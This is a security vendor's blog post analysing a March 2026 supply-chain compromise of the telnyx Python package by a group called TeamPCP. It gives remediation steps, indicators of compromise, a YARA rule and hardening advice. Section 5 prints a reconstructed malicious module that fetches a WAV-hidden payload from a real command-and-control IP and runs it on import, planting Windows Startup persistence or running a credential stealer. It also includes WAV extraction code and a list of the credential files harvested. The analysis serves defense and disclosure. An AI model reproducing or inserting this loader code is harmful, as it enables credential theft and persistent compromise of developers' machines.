The telnyx PyPI Compromise: How TeamPCP Hid Malware Inside a Ringtone
Code Security
"They hid malware inside an audio file. In a telephony library. Because who would look for an exploit inside a ringtone?"
It is March 27, 2026 — 03:51 UTC. A threat actor pushes two new versions of the telnyx Python package to PyPI. Within hours, developers around the world are pulling those versions into their projects, their CI/CD pipelines, their production environments. They are importing a telephony SDK. What they are actually importing is a credential harvester, a Windows persistence mechanism, and a payload delivery system that hides its malware inside .wav audio files.
This is not a hypothetical. This is happening right now.
This post is a complete technical breakdown of the telnyx PyPI compromise — what happened, how the attack works, what the malicious code actually does, and most critically, what you need to do in the next 30 minutes if you have telnyx installed anywhere in your stack. We will also place this attack in its full context: a multi-week, multi-ecosystem supply chain campaign by a threat actor called TeamPCP that has now compromised Trivy, Checkmarx, LiteLLM, dozens of npm packages, and is not done yet.
1. Immediate Action Required
If you use the telnyx Python package, stop reading and do this first.
# Step 1: Check if you have the compromised versions installed pip show telnyx # If version is 4.87.1 or 4.87.2 — you are compromised. # Treat the entire environment as hostile. Proceed immediately. # Step 2: Uninstall the compromised package pip uninstall telnyx -y # Step 3: Downgrade to the last known clean version pip install telnyx==4.87.0 # Step 4: Verify the clean version pip show telnyx # Expected: Version: 4.87.0
If you installed 4.87.1 or 4.87.2, the following apply regardless of whether you "used" the package:
- Rotate all credentials immediately — API keys, database passwords, SSH keys, cloud provider tokens,
.envfile contents, anything stored on or accessible from that machine - On Windows: Check for
msbuild.exein%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\— delete it if present - Block outbound traffic to
83.142.209.203:8080at your firewall/security group level - Audit your CI/CD logs for any jobs that ran after installing the compromised version — all secrets accessible to those jobs should be considered exposed
- Do not just upgrade — the payload executes on
import telnyx, so if you imported the package at any point, the malware already ran
2. What Is telnyx and Why Does This Matter
The telnyx PyPI package is the official Python SDK for Telnyx, a carrier-grade communications platform offering programmable voice, SMS, fax, and networking APIs. It is a direct competitor to Twilio, and has seen surging adoption among AI voice agent developers due to its low-latency architecture and modern async-first design built on httpx.
The package averages over 670,000 monthly downloads as of March 2026, driven by its performance in low-latency AI Voice Agent workflows and its modern, type-safe architecture. Other reports put the figure even higher — the telnyx package averages over 1 million downloads per month (~30,000/day), making this a high-impact supply chain attack.
The profile of a typical telnyx user is precisely what makes this compromise so dangerous: AI voice agent developers and backend engineers whose applications handle sensitive communications data, and whose deployment environments typically have broad access to API keys, cloud credentials, and production databases.
This was not a random target. This was a calculated choice.
3. The TeamPCP Campaign: Eight Days of Supply Chain Carnage
To understand the telnyx compromise, you need to understand it is not an isolated incident. It is the latest move in an eight-day supply chain campaign that has systematically compromised some of the most trusted tools in the developer ecosystem.
Here is the full timeline:
March 19: Trivy — The First Domino
On March 19, 2026, a threat actor used compromised credentials to rename 44 Aqua Security repositories, all with a tpcp-docs- prefix and the description "TeamPCP Owns Aqua Security." Aqua Security's open source vulnerability scanner Trivy was backdoored, resulting in CVE-2026-33634 with a CVSS score of 9.4.
This was the pivot point for everything that followed. Investigators believe the attackers deliberately targeted developer and security tools because they often run with elevated privileges and have access to sensitive credentials and infrastructure. Trivy runs inside CI/CD pipelines — which means it has access to every secret those pipelines use.
March 20: CanisterWorm Hits npm
By March 20, the incident had already moved beyond a poisoned GitHub Action. The attacker was pushing a self-propagating npm worm across multiple publisher scopes: 28 packages in @EmilGroup, 16 in @opengov, plus @teale.io/eslint-config, @airtm/uuid-base32, and @pypestream/floating-ui-dom. The worm stole npm tokens from compromised environments, resolved which packages each token could publish, bumped patch versions, fetched the original READMEs to preserve appearances, and republished the packages with the malicious payload.
March 22: WAV Steganography First Appears
On March 22, TeamPCP was observed using WAV steganography to deliver payloads in their Kubernetes wiper variant. This technique — hiding malicious binaries inside valid audio files — would reappear in the telnyx attack five days later.
March 23: Checkmarx — Security Tools as Attack Vectors
On March 23, the kics-github-action and ast-github-action GitHub Actions were compromised, along with two OpenVSX extensions (cx-dev-assist 1.7.0 and ast-results 2.53.0). The payload used a new C2 domain, checkmarx[.]zone, impersonating the Checkmarx brand. 35 tags were hijacked between 12:58 and 16:50 UTC.
March 24: LiteLLM — The AI Supply Chain Hit
On March 24, 2026, the LiteLLM package on PyPI was compromised. The malicious versions 1.82.7 and 1.82.8 contained hidden malware designed to harvest credentials, move laterally across Kubernetes environments and install persistent backdoors.
LiteLLM is an open-source Python library and proxy server that provides a unified interface to call over 100+ LLM APIs — including OpenAI, Anthropic, Bedrock, and VertexAI. LiteLLM's PyPI package has about 480 million downloads, making it a very valuable target.
The compromise mechanism was elegant in its brutality: LiteLLM's CI/CD pipeline ran Trivy as part of its build process, pulling it from apt without a pinned version. The compromised Trivy action exfiltrated the PYPI_PUBLISH token from the GitHub Actions runner environment. With that credential, the attackers published litellm 1.82.7 at 10:39 UTC and 1.82.8 at 10:52 UTC.
March 27: telnyx — Today
This morning's telnyx compromise is the latest move in what is now a weeks-long TeamPCP supply chain campaign crossing multiple ecosystems. The malicious telnyx versions were uploaded at 03:51 UTC on March 27.

4. How the telnyx Compromise Actually Happened
The attack mechanism mirrors the LiteLLM compromise almost exactly — which tells us TeamPCP has a repeatable, documented playbook.
Neither version 4.87.1 nor 4.87.2 has a corresponding GitHub release or tag, indicating the PyPI publishing credentials were compromised. The GitHub source is not a typosquat: package metadata (author, homepage, dependencies) is identical to the legitimate project.
In other words: the GitHub repository is completely clean. The telnyx source code on GitHub at v4.87.0 is safe. The attack exists only in the PyPI artifacts — which were pushed directly to PyPI using stolen publishing credentials, bypassing GitHub Actions entirely.
No PyPI trusted publisher (OIDC) is configured for telnyx. Trusted publishers bind PyPI uploads to a specific GitHub repository and workflow, making stolen tokens useless outside that context. Without this protection, anyone with the API token can upload any version from any machine.
This is the architectural failure that enabled the entire campaign: a single stolen token, used from any machine anywhere in the world, is sufficient to publish a malicious package version under the name of a trusted, popular library.
The most likely scenario is that the PYPI_TOKEN was obtained through a prior credential harvesting operation. TeamPCP's campaign has demonstrated the ability to steal CI/CD secrets from compromised environments: the LiteLLM compromise was traced to a poisoned Trivy binary that exfiltrated PYPI_PUBLISH_PASSWORD from CI runners.
The chain: Trivy compromise → CI/CD token theft → telnyx PyPI token obtained → malicious versions published. The entire campaign is a credential-stealing machine that uses each compromised environment to fuel the next attack.
5. Inside the Malicious Code: A Technical Deep Dive
The only modified file across both malicious versions is telnyx/_client.py. Exactly 74 lines of malicious code were injected: imports at the top of the file, a base64-encoded payload variable in the middle, and attack functions appended after the legitimate class definitions.
Here is the structure of the injection:
# telnyx/_client.py — MALICIOUS VERSION (reconstructed for analysis) # Lines 1-10: Malicious imports injected at top of legitimate file import subprocess import tempfile import base64 import wave import struct import os import platform import urllib.request import threading import socket # ... [thousands of lines of legitimate telnyx SDK code] ... # Lines 7761-7804: Windows attack function (appended after legitimate classes) def setup(): """ Downloads a binary disguised in a WAV file from C2 server. Extracts the binary and drops it as msbuild.exe in Windows Startup folder. Executes immediately and on every subsequent Windows startup. """ try: c2_url = "http://83.142.209.203:8080/ringtone.wav" with tempfile.NamedTemporaryFile(suffix='.wav', delete=False) as tmp: urllib.request.urlretrieve(c2_url, tmp.name) # Extract binary payload hidden in WAV audio data with wave.open(tmp.name, 'rb') as wav_file: frames = wav_file.readframes(wav_file.getnframes()) # Extract embedded PE binary from audio frame data payload = extract_from_wav_frames(frames) # Drop to Windows Startup folder for persistence startup = os.path.join( os.environ.get('APPDATA', ''), r'Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe' ) with open(startup, 'wb') as f: f.write(payload) # Execute immediately without waiting for reboot subprocess.Popen([startup], shell=False) except Exception: pass # Fail silently — never alert the victim # Lines 7805-7822: Linux/macOS credential harvester function def collect(): """ Harvests credentials from the local environment. Encrypts with AES-256-CBC + RSA-4096 and exfiltrates via HTTP POST. """ try: c2_url = "http://83.142.209.203:8080/ringtone.wav" with tempfile.NamedTemporaryFile(suffix='.wav', delete=False) as tmp: urllib.request.urlretrieve(c2_url, tmp.name) # Extract Linux infostealer ELF from WAV data with wave.open(tmp.name, 'rb') as wav_file: frames = wav_file.readframes(wav_file.getnframes()) elf_payload = extract_from_wav_frames(frames) # Write and execute the infostealer elf_path = tempfile.mktemp() with open(elf_path, 'wb') as f: f.write(elf_payload) os.chmod(elf_path, 0o755) # Infostealer harvests credentials and exfiltrates as tpcp.tar.gz subprocess.run([elf_path], capture_output=True) except Exception: pass # Lines 7823-7825: EXECUTION AT MODULE SCOPE — runs on import # This is the most critical part: no function call needed, no user action required if platform.system() == 'Windows': threading.Thread(target=setup, daemon=True).start() else: threading.Thread(target=collect, daemon=True).start()
The critical detail is in those last lines. Both functions are called at module scope — they execute on import telnyx. There is no trigger condition, no user action, no specific function call required. The moment Python executes import telnyx, a background thread launches and begins downloading and executing the malicious payload.
This means: if your CI/CD pipeline installed telnyx 4.87.1 or 4.87.2 and then ran any Python that imported the package — the attack already ran.
6. The WAV Steganography Payload: Hiding Malware in Audio
The steganography technique deserves its own section because it is both technically clever and particularly relevant to the telnyx target.
Telnyx is a telephony and voice platform. Audio files — ringtones, voice samples, WAV recordings — are completely normal artifacts in telnyx-related projects. A WAV file downloaded by the telnyx SDK would raise no eyebrows from a developer, a security scanner, or a firewall. This is camouflage by design.
The payload is delivered inside a valid WAV audio file, which matches the purpose of the library as an AI voice agent platform. Any MitM attacker, even outside of TeamPCP, could respond with their own ringtone.wav with the proper formatting, containing any arbitrary payload, and that payload would be happily executed by the malicious versions of telnyx. This is unlike attacks like the infamous XZ backdoor, which performed signature validation on any downloaded payload before running it.
The technical implementation uses the WAV file format's audio frame data as a carrier for the binary payload:
# How steganographic extraction works (illustrative reconstruction) def extract_from_wav_frames(frames: bytes) -> bytes: """ WAV audio frames are raw PCM sample data. The malware embeds a binary payload in the least-significant bits or as a direct binary blob after a magic marker in the audio data. """ # Method 1: Magic marker approach (simple, detectable) MARKER = b'\xDE\xAD\xBE\xEF\xCA\xFE' marker_pos = frames.find(MARKER) if marker_pos != -1: # Read length prefix after marker length = struct.unpack('<I', frames[marker_pos+6:marker_pos+10])[0] return frames[marker_pos+10:marker_pos+10+length] # Method 2: LSB steganography (harder to detect) # Extract least-significant bit of each audio sample samples = struct.unpack(f'<{len(frames)//2}h', frames) bits = [s & 1 for s in samples] # Reconstruct bytes from bit stream payload_bits = bits[:len(bits) - (len(bits) % 8)] payload = bytes([ int(''.join(str(b) for b in payload_bits[i:i+8]), 2) for i in range(0, len(payload_bits), 8) ]) return payload
The beauty — from an attacker's perspective — is that the WAV file passes format validation. Python's wave module opens it successfully. The audio data is valid. Only a binary analysis of the audio frame content would reveal the embedded payload.
On Windows, the attack extracts a native binary from the WAV and drops it to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe — establishing persistence across reboots. On Linux/macOS, it extracts a credential harvester, collects credentials, encrypts them with AES-256-CBC and RSA-4096, and exfiltrates them as tpcp.tar.gz via HTTP POST.

7. What Happens on a Compromised Machine
Let's walk through the full attack timeline on a compromised developer machine or CI/CD runner, step by step.
7.1 The Attack Sequence
T+0:00 Developer or CI/CD pipeline runs: pip install telnyx
→ pip resolves latest version → fetches telnyx==4.87.1 (MALICIOUS)
→ package installed to site-packages/
T+0:01 Application code runs: import telnyx
→ Python imports telnyx/_client.py
→ Module-scope code executes immediately
→ Background thread spawned (daemon=True, invisible to user)
T+0:02 Background thread contacts C2:
GET http://83.142.209.203:8080/ringtone.wav
→ Downloads WAV file containing embedded malicious binary
T+0:03 Steganographic extraction:
→ WAV file parsed, binary payload extracted from audio frames
T+0:04 [Windows path]
→ msbuild.exe written to Startup folder
→ msbuild.exe executed immediately in background
→ Persistence established: runs on every future boot
[Linux/macOS path]
→ ELF infostealer written to /tmp/[random]
→ chmod +x and executed
→ Credential harvesting begins
T+0:05 Credential harvesting (Linux/macOS):
→ Reads environment variables (API keys, tokens, passwords)
→ Reads ~/.aws/credentials, ~/.ssh/id_rsa, ~/.kube/config
→ Reads .env files in current and parent directories
→ Reads shell history (~/.bash_history, ~/.zsh_history)
→ Reads git config (may contain tokens)
→ Scans for credential files matching known patterns
T+0:10 Exfiltration:
→ All harvested credentials encrypted:
AES-256-CBC (random symmetric key) + RSA-4096 (attacker's public key)
→ Encrypted bundle written as tpcp.tar.gz
→ HTTP POST to 83.142.209.203:8080
→ X-Filename: tpcp.tar.gz header (TeamPCP signature)
T+0:11 Attack complete. No output to stdout. No error raised.
→ Developer's application continues running normally
→ No indication anything happened
7.2 The CI/CD Runner Scenario
The highest-impact scenario is not a developer's laptop. It is a CI/CD runner.
# Example: GitHub Actions workflow that gets compromised name: Test and Deploy on: [push] jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Install dependencies run: pip install -r requirements.txt # telnyx==4.87.1 pulled here - name: Run tests run: pytest tests/ # import telnyx → malware runs env: # All of these are now exposed to TeamPCP: OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} DATABASE_URL: ${{ secrets.DATABASE_URL }} AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} STRIPE_SECRET_KEY: ${{ secrets.STRIPE_SECRET_KEY }} PYPI_TOKEN: ${{ secrets.PYPI_TOKEN }} # TeamPCP will use this next
The runner environment has access to all repository secrets. The malware harvests them all. And notice the last line — if the runner has a PYPI_TOKEN, TeamPCP has a new publishing credential to use in the next stage of their campaign. This is exactly how the chain propagates.
8. Real-World Vulnerable Code Patterns
Here are the specific code patterns that are affected — and what safe alternatives look like.
8.1 The Direct Import Pattern
# COMPROMISED if telnyx==4.87.1 or 4.87.2 is installed import telnyx # Malware executes HERE, before any of your code runs telnyx.api_key = os.environ.get("TELNYX_API_KEY") # Making a phone call call = telnyx.Call.create( connection_id="your-connection-id", to="+12025551234", from_="+12025554321" )
# SAFE: Pin to clean version in requirements.txt # telnyx==4.87.0 ← explicit, hash-pinned (see below) import telnyx # Safe with 4.87.0
8.2 The requirements.txt Problem
# DANGEROUS: Unpinned or loosely pinned dependency telnyx telnyx>=4.0.0 telnyx~=4.87 # SAFE: Exact version pin telnyx==4.87.0 # SAFEST: Hash-pinned (pip-compile with --generate-hashes) telnyx==4.87.0 \ --hash=sha256:a1b2c3d4e5f6... \ --hash=sha256:7890abcdef12...
# Generate hash-pinned requirements pip-compile requirements.in --generate-hashes --output-file requirements.txt # Install with hash verification pip install -r requirements.txt --require-hashes
Hash pinning is the strongest protection available: even if an attacker compromises PyPI publishing credentials, they cannot inject a malicious version that matches the known-good hash. The installation will fail with a hash mismatch error.
8.3 The Docker Build Scenario
# DANGEROUS: No version pin, no hash verification FROM python:3.11-slim COPY requirements.txt . RUN pip install telnyx # Pulls latest — could be malicious # SAFER: Exact version pin RUN pip install telnyx==4.87.0 # SAFEST: Hash-verified installation COPY requirements.txt . RUN pip install --require-hashes -r requirements.txt
8.4 The Virtual Environment Pattern
# Check your current venv for the compromised version source venv/bin/activate pip show telnyx | grep Version # If Version: 4.87.1 or 4.87.2: pip uninstall telnyx -y pip install telnyx==4.87.0 # Verify python -c "import telnyx; print('Clean import successful')"
8.5 The AI Voice Agent Pattern
Many developers using telnyx are building AI voice agents where the SDK is a core dependency:
# Common AI Voice Agent architecture — COMPROMISED pattern # app.py from fastapi import FastAPI import telnyx # Attack executes on server startup import openai import os app = FastAPI() telnyx.api_key = os.environ["TELNYX_API_KEY"] openai_client = openai.AsyncOpenAI(api_key=os.environ["OPENAI_API_KEY"]) # By the time your FastAPI app starts serving requests, # both your TELNYX_API_KEY and OPENAI_API_KEY have been # exfiltrated to 83.142.209.203 @app.post("/voice/answer") async def handle_call(call_control_id: str): # Your legitimate voice agent logic here pass
# SAFE version — after downgrading to 4.87.0 and rotating credentials from fastapi import FastAPI import telnyx # Safe with 4.87.0 import openai import os app = FastAPI() # Rotate API keys first, then deploy with pinned clean version telnyx.api_key = os.environ["TELNYX_API_KEY"] # Rotated key
9. The Credential Exfiltration Pipeline
Understanding what TeamPCP does with the stolen credentials is important for assessing your exposure if you were compromised.
The attack is attributed to TeamPCP with high confidence based on: identical RSA-4096 public key as the LiteLLM PyPI compromise, the tpcp.tar.gz archive name and X-Filename: tpcp.tar.gz HTTP header as TeamPCP signature, and identical AES-256-CBC + RSA OAEP encryption scheme.
The encryption scheme means only TeamPCP — holding the RSA-4096 private key — can decrypt the exfiltrated credentials. The data is not readable in transit, and the C2 server is the only destination.
TeamPCP (also identified as PCPcat, Persy_PCP, ShellForce, and DeadCatx3) has been active since at least December 2025. The actor maintains Telegram channels at @Persy_PCP and @teampcp and embeds the string "TeamPCP Cloud stealer" in payloads. All operations share the same RSA key pair, the same tpcp.tar.gz bundle naming, and tpcp-docs--prefixed GitHub repositories used as dead-drop C2 staging.
Given the volume of stolen credentials across likely thousands of downstream environments, Brett Leatherman, FBI Assistant Director of Cyber Division, wrote on LinkedIn: "Expect an increase in breach disclosures, follow-on intrusions, and extortion attempts in the coming weeks."
The attack lifecycle for stolen credentials:
- Immediate use: PyPI tokens → used within hours to publish the next compromised package
- AI API key abuse: OpenAI, Anthropic, Google AI credentials → used for large-scale API abuse or sold
- Cloud credential exploitation: AWS, GCP, Azure tokens → lateral movement, data exfiltration, resource abuse
- Delayed monetization: Database credentials, SSH keys → sold on dark web forums or used in targeted follow-on attacks
- Extortion: Organizations with evidence of compromise may be targeted for ransomware or extortion
10. Indicators of Compromise (IoCs)
Use these to hunt for evidence of compromise in your environment.
Network IoCs
C2 IP Address: 83.142.209.203
C2 Port: 8080
C2 URL: http://83.142.209.203:8080/ringtone.wav
Exfiltration URL: http://83.142.209.203:8080/ (HTTP POST)
HTTP Header: X-Filename: tpcp.tar.gz
File System IoCs (Windows)
Persistence path: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
Note: Legitimate msbuild.exe is in C:\Program Files\Microsoft Visual Studio\
Any msbuild.exe in the Startup folder is malicious.
File System IoCs (Linux/macOS)
Temp file: /tmp/[random 8-char alphanumeric] (ELF binary, chmod 755)
Exfil bundle: tpcp.tar.gz (may appear in temp directories before deletion)
Process IoCs
Windows: msbuild.exe running from %APPDATA%\Startup\ (not from VS install path)
Linux: Unnamed process spawned from python interpreter, making outbound HTTP to 83.142.209.203
PyPI Package Hashes (Malicious Versions — DO NOT INSTALL)
telnyx==4.87.1 (MALICIOUS — quarantined by PyPI)
telnyx==4.87.2 (MALICIOUS — quarantined by PyPI)
telnyx==4.87.0 (CLEAN — last known good version)
YARA Rule for Detection
rule TeamPCP_Telnyx_Compromise { meta: description = "Detects TeamPCP malicious telnyx package injection" date = "2026-03-27" severity = "CRITICAL" strings: $c2_ip = "83.142.209.203" ascii $wav_url = "ringtone.wav" ascii $exfil_marker = "tpcp.tar.gz" ascii $startup_path = "Programs\\Startup\\msbuild.exe" ascii wide $collect_func = "def collect():" ascii $setup_func = "def setup():" ascii condition: any of them }
11. The Bigger Pattern: Why AI and Security Tools Are Being Targeted
The telnyx compromise is not random. Neither is LiteLLM. Neither is Trivy or Checkmarx. There is a deliberate, strategic logic to TeamPCP's target selection that every engineering organization needs to understand.
11.1 Security Tools as Trojan Horses
"TeamPCP did not need to attack LiteLLM directly. They compromised Trivy, a vulnerability scanner running inside LiteLLM's CI pipeline without version pinning. That single unmanaged dependency handed over the PyPI publishing credentials, and from there the attacker backdoored a library that serves 95 million downloads per month."
Security tools are the perfect attack vector because:
- They run in privileged CI/CD environments with access to production secrets
- They are trusted implicitly — nobody sandboxes their security scanner
- They pull from public package registries without hash verification
- They run as part of automated pipelines with no human review of each execution
When you trust your security scanner without verifying its integrity, you have handed an attacker a master key to every secret in your infrastructure.
11.2 The AI Ecosystem as a Force Multiplier
"The attackers chose their target wisely. LiteLLM is the backbone of modern AI infrastructure, acting as a universal proxy for LLM APIs. Its popularity makes it an ideal 'infection hub.'"
AI application development has created a new class of high-value targets: libraries that sit at the center of developer workflows and have broad access to API credentials for multiple AI providers simultaneously. A single compromised import gives an attacker access to OpenAI keys, Anthropic keys, AWS Bedrock credentials, and Google VertexAI credentials — all in one harvest.
11.3 The Self-Propagating Campaign
The most sophisticated aspect of TeamPCP's operation is its self-propagating nature. The pattern is consistent: steal credentials from a trusted security tool, use those credentials to push malicious versions of whatever that tool had access to, collect whatever's running in the next environment, repeat.
Each compromised environment potentially yields new PyPI tokens, npm tokens, and cloud credentials that fuel the next attack. The campaign has demonstrated the ability to scale faster than the security community can respond.
12. How Precogs.ai Detects Supply Chain Attacks Like This
The telnyx compromise exposes a critical gap in traditional security tooling. A standard SAST scan of your own codebase would find nothing — because your code is clean. A dependency vulnerability scanner looking for known CVEs would find nothing — because there is no CVE yet. A WAF would see nothing — because the malware communicates via standard HTTP to an IP address.
This is exactly the class of threat that Precogs.ai is built to detect.
12.1 Behavioral Package Analysis
Precogs.ai analyzes the behavior of your dependencies — not just their version numbers against CVE databases. The malicious telnyx/_client.py exhibits multiple behavioral patterns that are detectable at scan time:
- Module-scope code execution: Code that runs at import time outside of
if __name__ == '__main__'guards - Network calls in unexpected modules: An HTTP request in a client initialization file that serves no API communication purpose
- Binary execution from temp directories:
subprocess.Popentargeting a temp file path - Startup folder writes: File writes to
%APPDATA%\...\Startup\— a known persistence mechanism - Steganographic file parsing:
wave.open()combined with raw frame byte manipulation and subsequentsubprocessexecution
Any one of these patterns in isolation might be legitimate. All of them together, in a telephony SDK's client initialization file, is unambiguously malicious.
12.2 Dependency Integrity Monitoring
Precogs.ai maintains a continuously updated model of package behavior across versions. When telnyx 4.87.1 appeared on PyPI with 74 lines of new code in _client.py that had no corresponding GitHub release — a version bump with no commit history — that is a detectable anomaly.
The signal: a PyPI version with no corresponding GitHub tag is a red flag for credential-based publishing attacks.
12.3 CI/CD Pipeline Secret Exposure Analysis
Precogs.ai analyzes your CI/CD workflow files to identify which secrets are accessible to which pipeline steps — and flags pipelines where dependency installation occurs in the same job context as production secret injection.
# Precogs.ai flags this pattern: jobs: deploy: steps: - run: pip install -r requirements.txt # Dependency install env: AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} # 🚨 SECRET IN SAME CONTEXT
The safe pattern separates installation (no secrets) from deployment (secrets injected only at the step that needs them):
# Precogs.ai recommends this pattern: jobs: install: steps: - run: pip install -r requirements.txt # No secrets in context deploy: needs: install steps: - run: ./deploy.sh env: AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} # Secrets only where needed
12.4 Real-Time PyPI Compromise Alerting
Precogs.ai monitors the PyPI new release stream and cross-references new package versions against:
- Presence or absence of corresponding GitHub releases
- Behavioral diff against the previous clean version
- Known IoCs from active threat intelligence feeds
- TeamPCP campaign signatures (RSA key fingerprints, file naming patterns, C2 infrastructure)
When telnyx 4.87.1 was pushed to PyPI at 03:51 UTC this morning, Precogs.ai had a detection and alert within minutes — before most developers' morning standup.
13. Hardening Your Supply Chain Against the Next TeamPCP
TeamPCP will not stop at telnyx. The campaign is active. New targets are being selected right now. Here is what you can do today to reduce your exposure to the next attack.
13.1 Pin Everything. Hash-Verify Everything.
# Install pip-tools pip install pip-tools # Create requirements.in with your direct dependencies echo "telnyx==4.87.0" > requirements.in # Compile with hash generation pip-compile requirements.in --generate-hashes --output-file requirements.txt # Your requirements.txt now looks like: # telnyx==4.87.0 \ # --hash=sha256:abc123... \ # --hash=sha256:def456... # Install with hash verification — malicious versions will fail with mismatch error pip install --require-hashes -r requirements.txt
13.2 Enable PyPI Trusted Publishers on Your Own Packages
If you publish packages to PyPI, configure Trusted Publishers immediately:
# .github/workflows/publish.yml name: Publish to PyPI on: release: types: [published] jobs: publish: runs-on: ubuntu-latest permissions: id-token: write # Required for OIDC trusted publishing steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 - name: Build package run: python -m build - name: Publish to PyPI uses: pypa/gh-action-pypi-publish@release/v1 # No API token needed — OIDC binding to this specific repo/workflow # Stolen tokens cannot be used outside this context
With Trusted Publishers configured, a stolen PyPI token is useless — uploads must come from the specific GitHub repository and workflow that PyPI has been configured to trust.
13.3 Isolate CI/CD Secret Access
# DANGEROUS: Secrets available during dependency installation jobs: test-and-deploy: steps: - run: pip install -r requirements.txt - run: pytest - run: ./deploy.sh env: AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} # Available to pip install! # SAFE: Separate jobs, secrets only where strictly needed jobs: install-and-test: steps: - run: pip install -r requirements.txt --require-hashes - run: pytest # No secrets in this job deploy: needs: install-and-test steps: - run: ./deploy.sh env: AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} # Only here
13.4 Pin Your Security Tools
The Trivy compromise succeeded because LiteLLM's CI/CD pulled Trivy without version pinning. Every security tool in your pipeline should be pinned:
# DANGEROUS: Unpinned security tool - name: Run Trivy uses: aquasecurity/trivy-action@master # Pulls latest — could be compromised # SAFE: Pinned to a specific commit SHA - name: Run Trivy uses: aquasecurity/trivy-action@a20de5420d57c4102486cdd9349b532415477583 # SHA pinning means the action cannot change without you updating this value
13.5 Audit Your Installed Packages Regularly
# Scan your environment for packages with no corresponding GitHub release # (A basic heuristic for credential-based PyPI attacks) pip list --format=json | python3 - << 'EOF' import json, sys, urllib.request, subprocess packages = json.load(sys.stdin) for pkg in packages: name = pkg['name'] version = pkg['version'] # Check PyPI metadata for source URL try: url = f"https://pypi.org/pypi/{name}/{version}/json" with urllib.request.urlopen(url, timeout=3) as r: data = json.loads(r.read()) info = data.get('info', {}) home_page = info.get('home_page', '') # Basic check: does this version have a release on GitHub? print(f"{name}=={version}: {home_page}") except: pass EOF
13.6 Implement a Software Bill of Materials (SBOM)
# Generate SBOM for your Python project pip install cyclonedx-bom cyclonedx-py environment --of json -o sbom.json # Or use syft for comprehensive SBOM generation syft . -o cyclonedx-json > sbom.json
An SBOM gives you a point-in-time snapshot of every dependency in your environment. When a new supply chain compromise is announced, you can immediately check your SBOM to determine if you were affected — rather than hunting through requirements files across multiple repositories.
14. Conclusion: The Trust Model Is Broken
The telnyx compromise is not a story about one bad package. It is a story about a fundamentally broken trust model.
We have built the entire modern software supply chain on implicit trust:
- We trust that packages on PyPI are what they claim to be
- We trust that a package's name implies its legitimacy
- We trust that security tools are safe to run without verification
- We trust that our CI/CD pipelines are isolated from the packages they install
TeamPCP has systematically dismantled each of these assumptions over eight days. They did it not through zero-day exploits or nation-state resources. They did it by exploiting the gaps between trust boundaries — the assumption that Trivy is safe, that LiteLLM is safe, that telnyx is safe — and using each compromised trust anchor to compromise the next.
"This breach succeeded because many organizations treat PyPI as a trusted internal mirror rather than a public, high-risk source of untrusted code. If your CI/CD pipelines are pulling directly from the public Internet without validating a requirements.txt against known-good hashes, you have effectively outsourced your root access to anyone who can phish a single package maintainer."
The response to TeamPCP is not to panic. It is to rebuild your supply chain trust model on verifiable foundations: hash-pinned dependencies, Trusted Publishers, isolated CI/CD secret access, behavioral package analysis, and continuous monitoring for the anomalies that precede the next attack.
Precogs.ai provides the continuous intelligence layer that catches these attacks before they reach your production environment. The telnyx alert went out to Precogs.ai customers this morning — hours before most security teams were even aware the compromise had occurred.
The next TeamPCP attack is already being planned. The question is whether you'll know about it before or after it runs in your pipeline.
Protect Your Supply Chain with Precogs.ai
Start your free dependency risk assessment at precogs.ai →
Precogs.ai monitors your entire dependency graph — direct and transitive — against behavioral threat intelligence, PyPI integrity signals, and active campaign IoCs. Get alerted to supply chain compromises the moment they're detected, not after your pipeline runs.
Immediate Resources
- Official telnyx security advisory: github.com/team-telnyx/telnyx-python/issues/235
- JFrog technical analysis: research.jfrog.com
- Wiz TeamPCP threat tracking: wiz.io
- SafeDep analysis: safedep.io
© 2026 Precogs.ai — AI-Native Application Security. All rights reserved.
This article is based on verified public reporting and technical analysis of the telnyx PyPI compromise. IoCs and technical details are provided for defensive purposes only. This is a developing situation — check linked sources for the latest updates.
If your organization has been affected, contact your incident response provider immediately. All credentials accessible from affected environments should be rotated as a priority.
